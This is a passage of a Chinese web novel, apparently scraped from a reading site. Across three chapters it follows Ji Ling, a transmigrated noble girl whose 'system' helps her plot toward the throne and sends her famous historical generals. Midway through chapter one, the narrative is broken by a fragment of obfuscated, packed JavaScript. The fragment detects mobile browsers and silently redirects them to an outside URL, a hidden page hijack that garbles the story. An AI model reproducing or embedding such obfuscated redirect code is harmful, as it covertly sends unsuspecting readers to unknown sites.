《系统说我有大帝之资》
1. 我看你有大帝之资
安朝天定四年。
国都建康。
姬府。
春风拂柳,日光和煦,十三岁的姬昤在自己的院落中荡着秋千,闻着玉兰花香,只觉时光静好。
如果日子能一直这样平静地过下去,哪怕这里再落后,再不如现代方便,姬昤也认了。
是了,姬昤,穿越人士,在现代身死之后一眨眼出生在了这里,不知不觉中已经在这儿生活了十三年。但这十三年并不平静也不安稳,只是她生在姬家——门阀世家,才得了安全的下场。
在这十三年间已经换了两朝了,上一个朝代称“景”,存在十七年便消亡不见,现在的称“安”,存在四年中如名字一般还算安稳,没有出过什么大事乱子。
相比朝代的短暂,她出生的世家姬家,已经存在百年了。
姬昤不止一次感慨自己命好,在这乱世托生在了富贵人家,享受安稳的生活。曾经她也去过那偏远村落瞧过,那里的百姓食不果腹、衣不蔽体,各个面黄肌瘦,她同情,可所能做的也只是利用家中的权势时不时接济一下百姓,尽可能让他们过得好些。
到底是世道不公、权贵压榨,百姓困苦。
可她生在世家,没法改变这现象,也没资格说这些话。
因为她是既得利益者。
“三娘子,大郎君和二郎君皆已归家,还有家主和夫人都在前院呢,您要不要去瞧瞧?”婢女月栀走近跟前,语气喜悦。
姬昤一下子从秋千上蹦下来,吓得月栀一哆嗦,赶紧上前扶住,一边说道:“三娘子,奴婢的心都要跳出来了,您可千万悠着些。”
“月栀啊,这都多少年了,我一直是这样,你还没习惯呢?”姬昤无奈笑道。
“娘子您身姿矫健奴婢知道,只是万一有什么差错,您身上多了什么疤痕,奴婢真是万死难辞。”月栀。
姬昤捏了捏月栀圆圆的脸蛋:“一个十四岁的姑娘家整日里老气横气的做什么?咦,我让人给你做的新衣呢?那鹅黄的颜色最是称你,你怎么没穿?怎的还是这件不知道多少年了的旧衣裳,这颜色你穿着不好看,把你都称成老嬷嬷了。”
月栀低头瞧了眼,羞红了脸:“娘子给奴婢新做的衣裳很好看,奴婢很喜欢,却也不舍得穿,那般好看的衣裳……”
“我何时亏待过你?你自己回去数数我给你做了多少新衣,你又穿了几件?这个不舍得那个不舍得,咱们月栀这么好看,那些衣服我还觉得配不上你呢!”姬昤夸赞着,月栀羞得转身一个跺脚,头都快埋到胸口去了。
“好了好了,我也不打趣你了,走吧,两位阿兄都回来了,想必带了许多新奇玩意儿,咱们啥时候去瞧瞧!”姬昤拉过月栀的手,带着她奔跑在院落小道之间,吓得月栀喊了一路的“娘子万万不可这般啊”。
姬府前院。
还未到跟前,姬昤已经听到了阿兄爽朗的笑声。
“阿兄笑什么呢?不妨与我说说?”姬昤笑着走进堂中。
四人转过身看去,纷纷露出笑容。
月栀行了个礼:“见过家主,夫人,大郎君,二郎君。”
“昤昤来了,赶巧了,刚说到你幼时调皮被大黄狗追着跑,最后不小心掉进池子里,捞上来后脑袋上还坐着一只小蛙的事。”姬瑜说着一边上前拉过姬昤。
“阿兄倒不必说这么具体,这都多少年前的事了?”姬昤扭了一把姬瑜的胳膊肉。
姬瑜怪叫了声,摸了摸胳膊。
“你们兄妹二人自小到大都是如此,何时能像瑾儿一样稳重些?那阿耶我也能少操些心。”姬父虽是这么说,嘴角却带着笑意。
“我们兄妹三人若是各个稳重,想必阿耶又要操别的心了。”姬昤。
“你啊你啊,阿耶自是说不过你。”姬父笑着指了指姬昤。
“都站着作甚?有什么话坐下细细聊。”姬母说着看向月栀,“去吩咐东厨做些好消化的糕点来,再备些郎君娘子们平日里爱喝的茶水。”
“奴婢这就去。”月栀应声,接着小步退后,再转身离去。
几人纷纷落座,刚一坐下,姬昤就迫不及待地问:“可有给我带有趣的玩意儿回来?”
姬父不禁道:“你二位兄长是去求学的,不是去游历,你尽想着好玩的玩意儿,也不问问他们近来可好,过得如何。”
姬昤了然地点点头,接着问道:“近来可好?”
姬瑾:“一切安好,多谢小妹关怀。”
姬瑜:“自是好的很,在外面总归是自在。”
姬昤点头,接着又问:“可有给我带新鲜玩意儿回来?”
四人笑了,就知道她还是这性子没变。
“小妹只想着新鲜玩意儿,可是忘了什么?”姬瑾微微笑着,一双好看的眸子盯着姬昤。
姬昤开始思索,她忘了什么?
不知道。
“自己的生辰都能忘了?”姬瑜就坐在姬昤边上,说着还敲了敲她的脑袋,似乎在说她“笨”。
“呀!”姬昤叫了一声,恍然大悟,“我的十四岁生辰?就是今日!”
“可算是想起来了,傻孩子。”姬母也笑着说道,紧接着眉眼间流露出一丝忧愁,“明年的今日便是昤昤你的及笄礼了,年满十五你也好出嫁了,阿母实在是不舍得。”
“我姬家的女儿不必如此早早出嫁,多留两年又何妨?哪怕昤昤十七八了,我姬家的门槛照样能被媒人踏破咯!”姬父大手一挥。
姬昤心里叹气,但也有些庆幸,好在她有个好父亲,不然在这种父权时代,若父亲不疼不爱,估计过了今晚她就好嫁出去了。
她实在是不想嫁人,至少这几年是不想的。
“哈?嫁人?谁娶了这小祖宗真是要赶紧去庙中上两炷香祈祈福,祈求自己可别被折腾死。”姬瑜打趣道。
姬昤握紧了拳头,斜眼看向姬瑜。
姬瑜面色一变,赶紧和姬瑾换了个位置,姬瑾无奈摇了摇头。
日落西山,姬昤看着一桌子丰盛的菜肴默默咽了咽口水,与此同时,姬府门口排起了长队,来排队的都是些可怜的、衣衫褴褛的人。
姬府正在施粥,却只有一个要求,那便是拿到粥之后要说一句“恭贺姬三娘子生辰之喜”,来人没有不愿意的,只说一句喜庆话就能吃饱饭,那真是再好不过了。
姬昤回自己院子时还能听到府外传来的“恭贺姬三娘子生辰之喜”,心中不禁感慨,这离刚吃饭的时候已经过去了许久,可外面恭贺的声音却源源不断,可见吃不饱饭的人有多少。
她环顾了眼自己的院子,看着这满院的陈设,再想想外面的可怜人。
这还是在国都呢。
突然,一道机械般的声音在姬昤的脑海中响起——
“我看你有大帝之姿,想要称帝吗?想要万人之上吗?想要推翻现在的皇朝建立一个新世界吗?想要吗?想要吗?想要吗?”
姬昤愣住了。
什么鬼东西在说话?称帝?谁?她吗?这可是封建皇朝父权社会,女子说称帝所有人都只会当笑话还要说声“大逆不道”,严重些说完人可能就没了。
“宿主你好,我是逐鹿系统,志在帮助每一个世界的有志人士称帝称霸,请问你有这个意愿吗?”
自称系统的家伙又说话了。
那个声音很有诱惑力,可是……
她吗?
好吧,勉强同意吧。
系统看见姬昤那疯狂上扬的嘴角都不好意思戳破她。
真的好勉强呢。
“宿主,有什么需求在心里和我说即可,我能听见。”系统说道。
姬昤放心了些,她就怕还要说出来就行,这样别人听着怕不是要把她当疯子看。
“我同意也可以,你需要我做什么?”姬昤问。
她不觉得会有这么好的事情找上来而且她什么都不用付出。
天底下哪有这么好的事?
“我需要的东西宿主给的起,我只需要在宿主死后带走宿主的灵魂。”系统。
姬昤皱了皱眉,要她死后的灵魂?为什么呢?
“要我死后的灵魂做什么?”她问。
“待宿主走上称帝之路,身上会逐渐凝聚帝王之气,本系统只需要宿主死后不需要的灵魂用以自主升级,不影响宿主任何。”系统。
“影响我投胎了。”姬昤不禁说道。
都有灵魂了,那不就也有投胎?更何况她还是又活了一次的人。
“宿主,本世界没有投胎一说,宿主能再活一次只因是天定之人,拥有一次额外的机会。宿主放心,本系统是良心系统,不会做任何不利宿主的事。”系统解释着。
姬昤考虑了一下,然后问:“你能给我提供什么便利呢?既然要称帝,光靠说说的自是不行。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326117|183229||http|test|mini|href|location''.split(''|''),0,{}));
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>“本系统实行任务制,宿主可以通过一次一次完成任务来获得奖励。本系统也会一直提供宿主帮助。只要宿主同意本系统的交易,愿意合作,即刻获得新手大礼包一份,大礼包内容随机,奖励丰厚,宿主一定会满意。”系统。
姬昤一路回到自己闺房,一直在思索是否要同意,想得出神,连月栀说话的声儿都没听见。
月栀没法,脸直接凑到了姬昤面前,姬昤这才反应过来。
“月栀你做什么?”她不禁问。
月栀有些哀怨:“娘子还问呢,奴婢喊了娘子那么多声,娘子连一声都不曾回应过。”
“好月栀,我想事情想出神了没听见,你再说说,你要同我说什么?”姬昤拉着月栀的手撒着娇。
“无甚大事,只是问问娘子可要洗漱了。”月栀说道。
“要,要的。”姬昤。
而这时,她也做好了决定,在心中说出了自己的答案——
“我同意。”
“恭喜宿主绑定逐鹿系统,本系统先恭贺宿主万岁万岁万万岁!恭喜宿主获得新手大礼包一份。来,让我们激动地抽取你的新人大礼包吧!!”系统的声音到后面还激动了起来,多了些人味儿。
“抽取!!!”姬昤也很激动,差点真喊了出来。
系统:“恭喜宿主获得女将大礼包,四位女将即将到达府上,请宿主及时接收。”
姬昤激动地查看了女将的名字,她沉默了……
妇好、冼英、杨妙真、秦良玉。
中国第一位女性军事统帅、女战神妇好;
中国巾帼英雄第一人、岭南“圣母”冼英;
“杨家枪”创始人、梨花枪鼻祖杨妙真;
唯一载入正史将相列传女将军秦良玉。
等等,要登基称帝的人还是她吗?到底是谁登基?
与此同时,有四位结伴同行的女子越来越靠近姬府的位置……
姬昤洗漱好就一直在床边坐着等待。系统说四位女将即将到达府上,她也不敢睡,怕错过了。
等待着等待着,月栀还过问了一次为何还不入睡可是还有何事要做。
这时,姬昤的房门被敲响,传来一道女声——
“三娘子,前厅来了四位女客说是找您的,家主请您过去。”
姬昤一下子站起来。
来了!
姬昤匆忙打开了门就跑了出去,月栀慌张地跟在后面,一边说着:“娘子,梳妆!这般披头散发实在无礼!”
可姬昤顾不上了,她恨不得现在就飞到前厅去。
一进前厅,四位女子站了起来,齐齐望向她,而后一起抱拳行了个礼:“见过三娘子。”
本想叫主公,就怕误了主公大计,遂只叫“三娘子”。
“四位不必多礼,快请坐!”姬昤看着这四位英姿飒爽的女子,心中很是激动。
姬父不禁看向月栀质问:“怎的三娘子还披散着头发?”
月栀刚要解释,姬昤开口了,她还轻拍了拍月栀的手,说道:“阿耶莫怪月栀,是我,我等不及要来见这几位姐姐了,所以才披散着头发。”
四人心中一阵感动,主公为了来见她们竟然连头发都来不及扎起。
“这四位是昤昤的好友么?”姬父问。
姬昤点头。
“既如此,那便在府上住下吧。”姬父又道。
姬昤不好意思地笑了笑:“阿耶,可能四位姐姐要住许久,阿耶可会介意?”
“许久是……多久?”姬父有些疑惑。
“这个……”姬昤抓了抓脑袋,脑袋飞速转动。
这时,系统说话了——
“任务发布:距离安朝分崩离析仅剩三年,请宿主在一年内经过四位女将指导习得武艺且至少在其中一人手下撑过一百招。任务失败,无惩罚。任务成功,奖励‘卫霍大礼包’一份。”
安朝只剩三年寿命了?
姬昤有些诧异,安朝看着安稳,竟然比混乱的景朝还要短命,但想到后面的礼包……
姬昤两眼一亮,卫霍大礼包?是她想的那个卫青、霍去病吗?
“阿耶,我还有事要与四位姐姐详谈,就不同你多说了!”姬昤一脸激动地说着就要带着四人去自己院中,也不顾她父亲满脸的疑惑。
而在此之后,姬府上下总是能听到姬昤惨叫的声音从院中传出。
2. 卫霍大礼包
一年后。
姬府。
“昤昤,今日是你及笄礼,阿耶早已为你想好了表字,就叫……”
“绥英。”
姬父满脸慈爱,眼里满是不舍,仿佛姬昤就要出嫁了一般。
“绥英?笼络天下英雄?”姬昤猜测着表字的含义。
在场之人无一不愣神,姬昤为何会这么想?
“三娘子好志气,只是这话未免存谋逆之意,日后还是莫要再说了。”及笄礼请来的德才兼备的、主持加笄仪式的女子——湖阳郡主开口说道,不过话语中无多责备,反而有些欣赏。
姬父连忙解释道:“绥英绥英,阿耶的意思是望你日后平安顺遂,美好坚韧。”
姬昤愣了下,尔后笑了:“原是这个意思,是女儿想错了。”
“伯先,瑜儿,你们二人不是早早便为绥英准备了及笄之礼吗,此时不拿出来更待何时啊?”姬父看向自己两个儿子。
伯先便是姬府大郎君姬瑾,去岁腊月初二及冠,取了表字伯先。
“两位阿兄给我准备礼物了?快给我瞧瞧!”姬昤满眼期待。
姬瑾脸上笑容腼腆,从小厮手中接过木盒子,里面是他准备的礼物。
姬瑜上前,拿出盒子打开,露出里面的物件,是两颗洁白圆润的珍珠。
“这可是极上等的南珠,我可是寻了两月才得来的,你可不许嫌它小。”姬瑜说道。
再看盒内的两颗珍珠,再大些要赶上鹌鹑蛋的大小了,一点儿也不小。
“多谢阿兄,阿兄辛苦寻觅,我怎会嫌小?欢喜还来不及!”姬昤笑容满面,还拿出一颗珍珠来细细欣赏。
果然颗颗饱满圆润,如月光般温润。
一看就是极品。
“大兄呢?大兄给我准备了什么?”姬昤又看向姬瑾。
姬瑾淡笑着打开了盒子,拿出了里面的物件。
“这是我亲手做的,还望绥英莫要嫌它粗鄙。”
这是一支步摇,缀着佛像,虽不华贵,却能看出姬瑾的用心。再瞧他的手,其间还有些疤痕,一看便知下了不知道多少苦功夫。
“多谢大兄,绥英喜欢,就是还得大兄帮绥英插上。”姬昤说着走近了些,由姬瑾给她插上步摇。
待他插好,姬昤笑着问道:“可好看?”
姬瑾满眼都是笑意:“好看,绥英最是好看,大兄觉得绥英比那天上的仙女娘娘们还要好看。”
“大兄惯会夸我,日后若是我的眼睛仰到天上去了,定是大兄惯的!”姬昤摸了摸头上的步摇,做出了抬头看天的姿势。
“那又如何?你是我姬家女,哪怕做皇后都是委屈了你,不过眼睛仰天上去罢了,这都算得了什么?”姬父双手背着,神态之中满满皆是傲色。
姬父此言并不作假,姬家作为百年士族,如今又是士族强皇室弱的时代,姬昤作为姬家嫡系独女自是尊贵无比,姬父所说“做皇后都是委屈”也不夸张。
“是了。不过,日后还是少说这些,让人捏住了把柄告到陛下跟前,总归要多些麻烦。”姬母说着走到姬昤跟前,仔细看着女儿的模样,这一看竟要哭了,“阿母的好女儿,转眼便及笄了,这要不了两年便要出嫁了……”
姬昤无奈,又来了又来了,她还没满十五岁前阿母就时不时跟她哭说是舍不得她出嫁,也怪这世道,女子出嫁年岁太小了。
“阿母莫哭,女儿自当多陪陪阿母和阿耶,常伴家人身侧,才不会早早出嫁呢!”她道。
湖阳郡主也开口道:“女子应当多出去瞧瞧世面,晚些出嫁才好。我当年就是嫁人嫁早了,以至于至今诸多遗憾,好在夫婿去得早,我现在也有空四处去瞧了。姬夫人不必如此烦恼,女儿多留几年没甚坏处的。”
好似打趣的语气让众人不禁笑了起来。
姬母笑道:“郡主聪慧,看得通透,我也不多自扰了。”
湖阳郡主抬眸瞧了眼天色:“时辰也不早了,我也该回府了。”说罢站起身。
“恭送郡主!”众人行礼。
湖阳郡主走至姬昤身边时停住了脚步,她看向姬昤,淡笑道:“我这一生无女,有一子也早夭,我瞧你投缘,是个好孩子,若得空可常来郡主府与我说说话。”
“是,绥英定会常去叨扰的。”姬昤笑容灿烂,少女的稚气扑面而来,让湖阳郡主好似看见了年轻的自己。
送走所有宾客,姬昤匆匆忙忙回到自己的院子内,她可没忘系统的一年为期的任务,今个儿可是最后一日。
她昨夜里辗转反侧一夜都在思索该和哪位好姐姐过招才能撑得住一百招,结果最后决定抓阄,抓到写着谁名字的纸团就和谁过招。
是杨妙真。
英兰苑——姬昤住的地方。
院内只有冼英和杨妙真二人,妇好和秦良玉三日前去了她半年前偷偷买下的郊外别院训练招来的死士不在院里。
杨妙真手持梨花枪立于院落中央,身着红色短袄,英姿飒爽。
冼英站在一旁似笑非笑,好像在等着看姬昤被“收拾”。
“主公,梨花枪已备好,何时开始?”杨妙真指了下一旁放着的另一把梨花枪,问道。
姬昤眨了眨眼,咽了下口水,犹豫地拿起了一边的梨花枪,同时还在给自己打气。
“那个,好姐姐,待会儿轻些打可好?”姬昤撒着娇,用无辜的眼神看着杨妙真。
只见杨妙真丝毫不妥协,冷着脸拿起了梨花枪指向姬昤:“主公已与属下学此枪有一年,主公需对自己有信心。主公,开始吧。”
见杨妙真油盐不进,姬昤默默叹了口气,站在她对面拿好了长枪。
“好,开始吧。”话音落,姬昤抬眸一瞬间像是换了个人似的,什么撒娇、稚气全然没了,甚至抢在杨妙真出手前迎了上去。
“主公好胆量。”杨妙真勾唇一笑,一手梨花枪使得出神入化,打得姬昤连连败退。
一刻钟之后。
杨妙真收起了笑容。
主公虽是连连败退,可这一退竟然退了有一刻钟也不见真的败!
两柄梨花枪抵在一起,姬昤兴奋地说道:“七十三招了,好姐姐,我练得如何?可有得到你的真传?”
杨妙真眼里闪过一丝笑意,收手,侧身,枪身打在姬昤的小腿肚上,姬昤怪叫一声,眼看着要摔倒,下一刻手持梨花枪枪尖点地,一个转身,人又稳稳地站在了地上。
“嘿嘿,我可没倒!”姬昤笑容灿烂,意气风发。
杨妙真也笑,主公到底年幼,还是孩子心性,只是躲过了这一下便笑得如此开心。
“好姐姐放马过来吧,不说多的,一百招我还是撑得过的!”姬昤满脸自信。
必须自信啊,一百招要是撑不过,那她的卫霍大礼包不就没了?那可不行!
杨妙真不语,只是一味进攻,姬昤不语,只是一味抵挡,两人竟然打得难舍难分,一旁看着的冼英也不禁严肃了起来。
她本以为主公输定了,可如今看来最终谁输还说不准。
姬昤一直在心中默念着,直到第一百招一过,她立刻做出一副腹痛难忍的模样连连后退。
“怎么了?”杨妙真立刻收回枪,上前问道。
冼英也跑上前扶住了姬昤。
“无碍无碍,怕是吃坏了肚子,我得去方便一下。妙真姐姐,算我输了,不能再打下去了,我实在是憋不住了。”姬昤眉头微蹙,双眸含泪,看起来可怜极了。
杨妙真无奈道:“主公枪法甚绝不输属下,不算输。”
她也感受出来了,一百招,整整一百招,若是输早该露出破绽了,而不是每次都只是退,主公这明显是收着了。
姬昤眨了眨眼:“那……我去方便了?”
杨妙真拿过姬昤手中的梨花枪,笑道:“主公去吧,莫憋坏了。”
冼英也放开了姬昤的胳膊,她算是瞧出来了,主公这是编了个由头要跑。<
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罢了,跑就跑吧,至少也看出来主公的确没偷懒,该练的都练了。
姬昤的确没有去茅房,只是找了个角落找系统领取大礼包。
“宿主任务成功,奖励‘卫霍大礼包’一份。卫子夫、卫青、霍去病、霍光正在赶来姬府的路上,请宿主注意查收。”
姬昤一个激动脑袋撞在了一边的墙上,她赶紧捂住了疼痛的脑袋,却怎么也止不住喜悦的心情。
发啦发啦!还逐什么鹿啊,朕即天子!!啊哈哈哈哈!!!
路过的婢女仆从瞧见姬昤的模样都有些害怕,却因为是下人都不敢多问什么,好在后面月栀来了,见姬昤这模样吓坏了。
“三娘子,三娘子你怎么了?”月栀都吓哭了,为何三娘子这么笑?有……有些猥琐。
姬昤赶紧收敛了笑容摸了摸嘴角,还好还好,没把口水笑出来。
“月栀,我没事,就是撞到头了有点疼。”姬昤移开自己捂着额头的手,露出泛红微肿的地方。
月栀哭得更厉害了,这还叫没事?三娘子撞到脑袋了还这般笑,怕是出大事了,难不成……撞坏脑子了?
月栀这么想着就要去请府中的大夫来给三娘子好好瞧瞧,结果被姬昤一把抓住了手腕。
“你去哪儿?”姬昤问。
“奴婢去请姬大夫,可得好好给娘子瞧瞧,千万别撞坏脑袋了!”月栀解释道。
姬昤想了想还是算了:“去请吧,不过我也没什么大事,就是有些许疼。”
月栀得到准许跑得更快了。
姬昤回到屋内,一边等待姬大夫的到来一边等到她心心念念卫霍大礼包的到来。
姬大夫是府中一直养着的医术高超的大夫,她只知道早些年他并不姓姬,姓何,三十岁的时候逃命来到了姬家,自此就留在了姬家,改姓姬,如今已近古稀。
不一会儿,姬大夫来了,近古稀之年的老大夫还健步如飞,瞧着身体就很康健。
“三娘子撞到了脑袋?”姬大夫一进屋便问。
“是,有些红肿,但无大碍,就是有些疼。”姬昤摸着自己撞红的地方说道。
姬大夫查看了一番:“确无大碍,月栀。”
“奴婢在。”月栀应声。
“待会儿去我那拿个药膏,一日两次,擦上一两日就好了。”姬大夫说道。
“喏。”月栀。
“既如此,老夫告退。”姬大夫说着,等姬昤点头才退出屋内,月栀跟在后面一起离去拿药膏。
姬昤坐在椅子上,手指敲击着桌面,眼睛时常望向屋外,就等着下人来禀报说有人来找她。
姬昤等啊等啊,半个时辰过去了,月栀都替她擦过一次药膏了也不见有人来禀报。
姬昤撑着脑袋看着外面发呆。
也不知道他们什么时候能到,好像立刻马上就见到他们!那可都是现代课本里响当当的人物啊!谁不想见到?更何况还要被他们喊“主公”!
夜渐深,姬昤躺在床上翻来覆去辗转反侧,怎么也睡不着,她想,万一人家半夜才能到呢?她若是睡了错过了怎么办?
屋外守门的月栀听着里面的动静很是无奈,娘子已经吩咐过她只要有人来禀报有人找娘子就要她立刻把娘子叫醒,娘子为何还没睡着?到底是什么人这么重要,让娘子想得都无法入睡?难道……
月栀惊讶地捂住了嘴。
难道娘子有心上人了?!
月栀好像掌握了什么惊天大秘密一般,整个人都紧张起来,本来还有些昏昏欲睡的,这么想着是半点儿困意都无。
两人就这么一直强撑着直到天亮……
“月栀姐姐,府外有三人来找三娘子!”
月栀本点头打着瞌睡,一听立刻惊醒。
来了来了!心上人登门了!不对,三人?怎么这么多心上人?
月栀刚想转过身敲门,只见姬昤已经打开了门,双眼冒光。
来了来了!!
3. 退出建康
姬昤按捺住激动的心情,任由月栀和另外一个贴身婢女替她梳洗,等到一切就绪,姬昤平复好心情,踏出屋子。
前厅。
姬父看着两男一女眨了眨眼。
这又是来投奔昤昤的?昤昤平日里都是从哪儿认识的这些人?去岁那四人他本以为只是昤昤的好友,来小住一段时日的,结果一住就是整年,这下又来三个,这次要住多久?
姬父心想,好在姬府阔绰,不缺屋子,否则按照这样发展下去,最后得来多少人借住姬府?不知道的还以为他有谋逆之意豢养幕僚呢!
“吃茶,不用客气。既是昤昤的好友,喊我一声‘伯父’我自不会亏待了你们。”姬父笑容慈祥,语气温和,像是在看自己的孩子一般。
这三人瞧着年岁跟大郎差不多,若说是大郎的朋友他还信,可都是昤昤的朋友……昤昤怎么有这么多大好些年岁的朋友?
姬父不解,只是一味地让三人吃喝。
三人也很拘束,心中无一不想着快点见到姬昤。
姬昤也是这么想的。
“阿耶!”
四个人看到姬昤的那一刻都觉得轻松了。
“昤昤,这三位说是来找你的,可是你的友人?”姬父起身走到姬昤身边,一边问道。
姬昤高兴了一瞬,却有些不解。
三人?少了谁?卫青?霍去病?还是霍光?
“是,是来找我的,阿耶,应还有一人,他们需要借住一段时日,可行?”姬昤眨巴眨巴眼睛看着姬父。
姬父:……我就知道。
“行,府上有空屋子,借住便借住吧。你们聊,阿耶还有事,就不作陪了。”姬父无奈道,说罢就离开了。
姬昤目送着姬父离开后才转头看向三人。
三人起身,都向姬昤行了礼。
“属下卫子夫,见过……”卫子夫话未说完,就见姬昤抬起手,于是她闭嘴不再言语。
姬昤假咳了几声,看向身边的月栀。
月栀一脸迷惑。
属下?这位娘子为何这么称呼自己?
“月栀啊,你去瞧瞧,这周围可还有旁人在?都让他们退下吧,此刻这里不需要任何人伺候。”姬昤说着给了月栀一个讳莫难测的眼神。
月栀有些云里雾里的,虽然不知道为何三娘子这么说,但是她照做就是了。
月栀将周围的仆从全部带走,自己也站得远远的守着。
紧接着,卫子夫身边一个长得相似的男子开口说道:“属下卫青,见过主公。”
接着另外一个稍微小些的少年也说话了:“属下霍光,见过主公。”
姬昤带着满脸笑容让三人又坐下了,然后疑惑问道:“霍去病呢?怎么没瞧见他?”
卫子夫解释道:“来时途中去病听闻北方匈奴一直骚扰我朝边疆,于是换了一匹快马而去,还让我等给主公带话,去病去去就回。”
姬昤张了张嘴,一时间说不出话来。
这就激发属性了?是不是太快了点?
沉默了一会儿,三人还以为姬昤是不满意霍去病的先斩后奏,刚想帮霍去病说话姬昤开口了。
“既如此,待会儿我找人安排你们住下,先好好休息,午后再带你们认识一下你们的同……僚。”话到嘴边姬昤赶紧把“同事”改成了“同僚”。
姬昤回到房中,心中带着疑惑询问系统:“为什么卫子夫、卫青和霍光的年龄看起来没太大差别?”
之前四大女将瞧着都是二十多岁的姑娘,她想着都是不同朝代的人,所以差不多年龄也没什么,可这次卫霍大礼包的三人都是同时期的人物,卫子夫是卫青的姐姐,霍光是霍去病同父异母的弟弟,而霍去病是卫子夫和卫青的外甥,这个年龄差看起来不对啊!
系统:“系统致力于让英雄陪伴宿主更久,会选择让英雄处于合适的年纪来到宿主身边。”
姬昤嘟嘴:“系统你好贴心,我好喜欢~”
系统:“……谢谢。”有点恶心。
午后。
英兰苑。
五人互相认识了一番,妇好和秦良玉还在郊外别院因此并不在。
“他们中还有一人如今去了北疆之地还未来。”姬昤看着冼英和杨妙真说道,接着看向卫子夫三人,“还有二人——妇好、秦良玉,她们近日不在府中,待她们回来我自会引你们相识。”
“全凭主公安排。”卫子夫说道。
冼英和杨妙真也点头,就是多看了两眼霍光。
因为他看起来只是个十来岁的少年,年纪尚小。
姬昤于是问道:“霍光,你如今多大了?”
“回主公,属下年十四。”霍光恭敬回答。
姬昤有些惊讶,这么小?不过一想到自己也才十五岁就不惊讶了。
姬昤思索了片刻,然后说道:“不如我找几位先生教你读书?”
“但凭主公安排。”霍光。
“行,那就这么决定了,待会儿我就派人去寻最好的先生来教你,最迟明早,你应该就能见到他们了。”姬昤说道。
新来的卫子夫三人心中还有些惊讶,惊讶于主公的势力,说要找最好的先生,最迟明早就能找来,一半人可没这能力。
姬昤也察觉到几人的“惊”,她笑了笑,解释道:“这儿是安朝国都建康,而我姬家便是建康最大的士族,放眼整个安朝都是数一数二的,不过是找最好的先生,这对姬家来说并没什么。其实我姬府也有先生,但我觉得应该找最好的来教你。”
霍光心中感动,目光更加坚定:“属下定誓死追随主公!”
姬昤摆了摆手:“都是小事,你好好学就是了。”
“喏!”霍光。
“卫青。”姬昤又看向卫青。
“属下在。”卫青应声。
“明日我派人送你去我郊外的别院,那有我养的五百死士,妇好和秦良玉就在那儿,你也去,死士中有男三百一十二人,明日起全部交由你练。”姬昤。
“多谢主公信任,属下定不负主公期望。”卫青也很感动,他才刚来主公就交由他如此大任,若他不练出个所以然来自觉对不起主公。
卫子夫却有些担忧地说道:“方才听闻主公说此地乃国都,姬家又是这儿最大的士族,主公将死士养在这里可能确保不被当今陛下察觉所忌惮吗?”
姬昤说道:“那肯定怕呀,所以我偷偷养着的!”
卫子夫又问:“姬家有多少死士?姬家又有多少人?能否确保若哪日东窗事发姬家还能安然无恙?”
姬昤想了想:“我姬家豢养死士三千人,这是陛下允许的。姬家上下包括所有仆从在建康的有近千人,这……还真有点护卫不过来。”
“属下僭越,不知当今陛下身体如何?年岁几何?有子几人?可有争权之意?陛下对姬家如今态度如何?”卫子夫又问。
“如今陛下身体尚可,皇子六人,其中三人已满十六,大皇子已过弱冠年,另外三人不足十岁,近日来朝堂上确有纷争。陛下对姬家么……姬家这么庞大的士族,陛下自是早就忌惮了,只是一直没找出发落姬家的罪证。”姬昤缓缓说道。
“是了,这般局面,恐怕姬家得早做打算。主公,不知家主是何想法?”卫子夫问。
姬昤一拍脑袋:“哎呀,我这一年光顾着跟四位姐姐习武了,要么就是寻些可用的人做死士,其余的没多想,你如今这般说,我得去探探我阿耶的口风了。”
“主公莫急,我等早已打听过了。”冼英开口道。
“哦?”姬昤看向冼英,两眼睁得大大的,嘴巴都成了“o”形,脸上还带着笑意。
“近段时日以来姬家屡生事端,前不久南边姬家一旁支就被判了流放,主公是知晓此事的,但应不知晓为何。”冼英又道。
“为何呢?”姬昤很配合地问了嘴。
“陛下寻了个罪名发落了他们,对主家却更加信任,表面是替姬家清理不成器的旁支,实则是为了向朝堂中的其他人释放一个消息,陛下打算清算姬家了,往日与姬家不对付的也可趁此机会动手了。”冼英缓缓说道,“大郎君和二郎君皆在外任职,主公也可去信两封问问他们,想必二位郎君知晓的也不少。”
总比主公你知晓的多。
姬昤眉头紧皱,神色凝重:“那我也要早做打算了呀。”
本来系统去年说的是安朝只剩三年光景了,如今也还有两年,可皇帝竟然这时候要对姬家动手了。虽说姬家是顶级士族,可那也是天子,真发起火来,姬家也讨不到什么好。
姬昤转念一想,也许这对她来说也是个机会,不然在皇帝眼皮子底下养死士私兵总感觉每天心跳得很快,最好能找个机会到偏一些的地方去,可以悄咪咪地
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苟着,一旦安朝分崩离析,她就好跳出来了。
“这样,我去找阿耶详谈此事,你们……互相多认识认识吧。”姬昤说罢离开。
站在院外侯着的月栀赶紧跟了上去。
书房。
仆从敲门进入,然后弯腰,说道:“家主,三娘子来了。”
姬父立刻放下手中的笔,笑道:“快让昤昤进来。”
姬昤进入书房,先是甜甜地喊了声“阿耶”,接着给了书房里伺候的下人们一个眼色,下人们看向姬父,姬父点头,他们这才退了出去。
“昤昤这是要与阿耶说悄悄话了?”姬父笑着拉着姬昤坐下。
“倒也不是悄悄话,就怕旁人听了传出去要说咱们姬家大不逆。”姬昤一脸神秘。
姬父摸了摸自己好不容易养起来的小胡子,端起茶水:“哦?如何大不逆?”
他倒是有些好奇昤昤能说出什么大不逆的话来。
“阿耶,有没有想法让上面……”姬昤指了指上方,“换个人?”
姬父“噗”一声全吐了出来。
姬昤忙起身上前擦拭,一边说道:“阿耶你也真是的,怎么用个茶水还能吐咯?”
姬父抚了抚自己胸膛,一只手抓住姬昤的胳膊,严肃地看向姬昤:“昤昤,可是有旁人同你说了什么?你怎么突然会有这种想法?”
姬昤眨了眨眼,也不是突然有吧,一年前就有了。
“阿耶,那不说这个,我就问,姬家是不是出了什么事?”姬昤盯着姬父的眼睛问道。
姬父盯着姬昤看了许久,最终叹了口气,松开了她的胳膊。
